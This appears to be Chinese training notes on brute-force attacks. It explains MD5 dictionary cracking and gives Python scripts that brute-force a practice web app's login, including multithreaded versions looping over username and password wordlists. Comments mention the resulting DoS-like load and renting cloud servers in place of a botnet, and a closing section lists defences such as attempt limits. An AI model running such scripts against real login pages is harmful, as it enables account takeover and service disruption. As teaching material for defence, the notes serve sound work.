一、爆破MD5
场景:已知MD5加密字符串,如何得知明文?
解决方案:
算法碰撞,一串128位的MD5(32位16进制)其组合数量
字典碰撞,给定一个字典文件,读取里面的密码明文,再对其进行MD5,
再和目标字符串对比,如果相同,则明文找到。
二、爆破woniusales
1、验证登录请求
使用burp抓包,查看登录的数据怎么构造,以及响应的url地址
2、已知用户名,爆破密码
import time,requests
# 爆破Woniusales:用户名和密码都不知道,1、用户名已知,密码未知
def ws_01():with open('文件的位置') as file:pw_list = file.readline()url = ''count = 0for password in pw_list:data = {'username':'woniu','password':password.strip(),'verifycode':'0000'}resp = requests.post(url=url,data=data) #去进行post请求if 'login-fail' not in resp.text:print(f"疑似破解成功,密码为:{password.strip()}")exit()count += 1print(f'共计尝试{count}次')if __name__ == '__main__':# md5('cxcsd')ws_01()
3、未知用户名,未知密码爆破
# 未知用户名,未知密码,多线程并进行破解
#500用户,6000条密码,最多300万次登录操作,
# 同时,由于多线程并发登录,导致服务器压力倍增(DOS),进而导致服务器响应时间会显著变慢
# 如果服务器不小心崩溃,那么很有可能引起重视,进而检测访问日志,封锁IP,(DDOS可以更好模拟)# 每一个用户一个线程,每个线程循环6000次
count = 0
def ws_thread(username):with open('密码文件的位置') as file:pw_list = file.readlines()url = 'http://' # 这儿的路径是登录界面响应的界面global countfor password in pw_list:data = {'username': username, 'password': password.strip(), 'verifycode': '0000'}resp = requests.post(url=url, data=data) # 去进行post请求if 'login-fail' not in resp.text:print(f"疑似破解成功,密码为:{password.strip()}")exit()count += 1print(f'共计尝试{count}次')# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10():passif __name__ == '__main__':# 多线程,读取用户字典,并遍历获取用户名with open('用户文件所在的位置') as file:user_list = file.readlines()for username in user_list:# 这儿有多少个线程,我就并发多少个用户threading.Thread(target=ws_thread,args=(username.strip(),)).start()
采用多线程去处理大数据
# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10(sublist):# 怎么去分配任务-->指派任务--》指派更加有规律的方式--》分类的方式#先进行列表的可行性分析# with open('用户文件') as file:# user_list = file.readlines()# # print(user_list[0:10]) # 可以通过切片的方式进行操作# # print(user_list[10:20])# # print(user_list[20:30])# # # 通过列表切片的方式将列表分配到每一个小组里,每个小组10个用户# for i in range(0,len(user_list),10): # 对列表进行切片处理分成一个子列表# print(user_list[i:i+10])with open('密码文件的位置') as file:pw_list = file.readlines()for username in sublist:url = ''for password in pw_list:data = {'username': username.strip(), 'password': password.strip(), 'verifycode': '0000'}resp = requests.post(url=url, data=data) # 去进行post请求if 'login-fail' not in resp.text:print(f"疑似破解成功,账号为{username.strip()}, 密码为:{password.strip()}")exit()if __name__ == '__main__':# 每个线程负责10个用户with open("用户的位置") as file:user_list = file.readlines()for i in range(0,len(user_list),10):sublist = user_list[i:i+10] # 设置子进程,核心点是切片,作为参数把列表传递过去threading.Thread(target=ws_thread_10,args=(sublist,)).start()
三、爆破条件与防范
1.登录成功或失败的条件可验证
2.服务器端允许多次失败登录而不会禁止
首先监控到登录的请求 ,查看通行的过程
查看登录是发送了那些字段,
查看登录后的响应,
从流量上来看DOS攻击和暴力破解特征是一样的
暴力破解的点
一、应用场景:
只要有密码的地方,均可以尝试使用爆破方案
二、应用条件:
爆破不受次数的限制,可以一直尝试,所以爆破的防护方案:次数限制,
没有肉鸡怎么办?
去云服务器平台临时租赁
爆破分类:
离线爆破
在线爆破
作业:如何爆破wifi?如何防护?
爆破WiFi简单粗暴的进入内网。
一个进程,的线程有限,如何能够提升并发能力呢?
1.将任务分配到不同电脑上,
2.在同一台电脑上运行多个程序。